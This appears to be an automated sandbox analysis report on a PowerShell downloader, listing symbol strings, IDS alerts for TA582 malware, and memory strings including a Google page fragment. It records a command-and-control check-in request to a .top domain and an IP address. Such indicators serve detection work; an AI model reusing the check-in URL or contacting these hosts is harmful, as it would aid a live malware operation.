Click to jump to signature section
| Source: download.ps1 | Virustotal: Detection: 11% | Perma Link |
| Source: Submited Sample | Integrated Neural Analysis Model: Matched 84.8% probability |
| Source: | Binary string: Microsoft.PowerShell.Commands.Utility.pdb1-F424491E3931}\InprocServer32 source: powershell.exe, 00000000.00000002.1725656350.000001FE473E8000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 00000000.00000002.1858436667.000001FE614CB000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbI source: powershell.exe, 00000000.00000002.1861814628.000001FE618A2000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: System.Management.Automation.pdb source: powershell.exe, 00000000.00000002.1725656350.000001FE473E8000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: Automation.pdba source: powershell.exe, 00000000.00000002.1858436667.000001FE614CB000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000000.00000002.1861814628.000001FE618A2000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: mscorlib.pdb source: powershell.exe, 00000000.00000002.1861814628.000001FE6181E000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb^h source: powershell.exe, 00000000.00000002.1861814628.000001FE618F4000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: b.pdbpdblib.pdb source: powershell.exe, 00000000.00000002.1858436667.000001FE614CB000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000000.00000002.1861814628.000001FE618F4000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000000.00000002.1861814628.000001FE618A2000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000000.00000002.1861814628.000001FE6181E000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000000.00000002.1861814628.000001FE6178B000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbCpJa source: powershell.exe, 00000000.00000002.1861814628.000001FE618F4000.00000004.00000020.00020000.00000000.sdmp |
| Source: | Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb( source: powershell.exe, 00000000.00000002.1861814628.000001FE6178B000.00000004.00000020.00020000.00000000.sdmp |
| Source: Network traffic | Suricata IDS: 2859488 - Severity 1 - ETPRO MALWARE TA582 Domain in DNS Lookup : 192.168.2.4:59454 -> 1.1.1.1:53 |
| Source: Network traffic | Suricata IDS: 2057741 - Severity 1 - ET MALWARE TA582 CnC Checkin : 192.168.2.4:49730 -> 45.61.136.138:80 |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | HTTP traffic: GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.google.com Connection: Keep-Alive |
| Source: Joe Sandbox View | IP Address: 45.61.136.138 45.61.136.138 |
| Source: Network traffic | Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49731 -> 142.250.185.68:80 |
| Source: Network traffic | Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 45.61.136.138:80 |
| Source: global traffic | HTTP traffic detected: GET /g6n2wfvsr0htr.php?id=user-PC&key=95416299579&s=527 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kcehmenjdibnmni.topConnection: Keep-Alive |
| Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.google.comConnection: Keep-Alive |
| Source: unknown | UDP traffic detected without corresponding DNS query: 1.1.1.1 |
| Source: unknown | UDP traffic detected without corresponding DNS query: 1.1.1.1 |
| Source: global traffic | HTTP traffic detected: GET /g6n2wfvsr0htr.php?id=user-PC&key=95416299579&s=527 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kcehmenjdibnmni.topConnection: Keep-Alive |
| Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.google.comConnection: Keep-Alive |
| Source: powershell.exe, 00000000.00000002.1727138891.000001FE4B374000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: *href=https://www.youtube.com/?tab=w1><spanX equals www.youtube.com (Youtube) |
| Source: powershell.exe, 00000000.00000002.1727138891.000001FE4ACA5000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: else top.location='/doodles/';};})();</script><input value="AL9hbdgAAAAAZ3qyXsaRs6IMLSX2uwuSEs0RcQMyn_Ds" name="iflsig" type="hidden"></span></span></td><td class="fl sblc" align="left" nowrap="" width="25%"><a href="/advanced_search?hl=en&authuser=0">Advanced search</a></td></tr></table><input id="gbv" name="gbv" type="hidden" value="1"><script nonce="yaNCczj9r_UV-cif63DLTA">(function(){var a,b="1";if(document&&document.getElementById)if(typeof XMLHttpRequest!="undefined")b="2";else if(typeof ActiveXObject!="undefined"){var c,d,e=["MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"];for(c=0;d=e[c++];)try{new ActiveXObject(d),b="2"}catch(h){}}a=b;if(a=="2"&&location.search.indexOf("&gbv=2")==-1){var f=google.gbvu,g=document.getElementById("gbv");g&&(g.value=a);f&&window.setTimeout(function(){location.href=f},0)};}).call(this);</script></form><div style="font-size:83%;min-height:3.5em"><br><div id="K7FuCf"><style>.U8K5Lc{font-size:small;margin-bottom:32px}.U8K5Lc a.qDTOof{display:inline-block;text-decoration:none}.U8K5Lc img{border:none;margin-right:5px;vertical-align:middle}</style><div class="U8K5Lc" data-ved="0ahUKEwiPjuns8d6KAxWjQfEDHa3aLdgQnIcBCAU"><img alt="" height="32" src="https://www.google.com/images/hpp/YT_RedPlayButton_Icon_48x48.png" width="32"><span>Score one final special offer for </span><a href="https://www.google.com/url?q=https://tv.youtube.com/learn/nflsundayticket/%3Futm_campaign%3Dytnflst_jan25_nflst_w18_hpp_q1_2025%26utm_source%3Dhpp%26utm_medium%3Dgoogle%26utm_content%3Dcpy1&source=hpp&id=19046161&ct=3&usg=AOvVaw0o2kBUsvWMu1ycqjGPCIBX&sa=X&ved=0ahUKEwiPjuns8d6KAxWjQfEDHa3aLdgQ8IcBCAY" rel="nofollow">NFL Sunday Ticket</a></div></div></div><span id="footer"><div style="font-size:10pt"><div style="margin:19px auto;text-align:center" id="WqQANb"><a href="/intl/en/ads/">Advertising</a><a href="/services/">Business Solutions</a><a href="/intl/en/about.html">About Google</a></div></div><p style="font-size:8pt;color:#70757a">© 2025 - <a href="/intl/en/policies/privacy/">Privacy</a> - <a href="/intl/en/policies/terms/">Terms</a></p></span></center><script nonce="yaNCczj9r_UV-cif63DLTA">(function(){window.google.cdo={height:757,width:1440};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a||!b){var c=window.document,d=c.compatMode=="CSS1Compat"?c.documentElement:c.body;a=d.clientWidth;b=d.clientHeight}if(a&&b&&(a!=google.cdo.width|| |
Edit tour
powershell.exe (PID: 7572 cmdline: 
conhost.exe (PID: 7580 cmdline: 
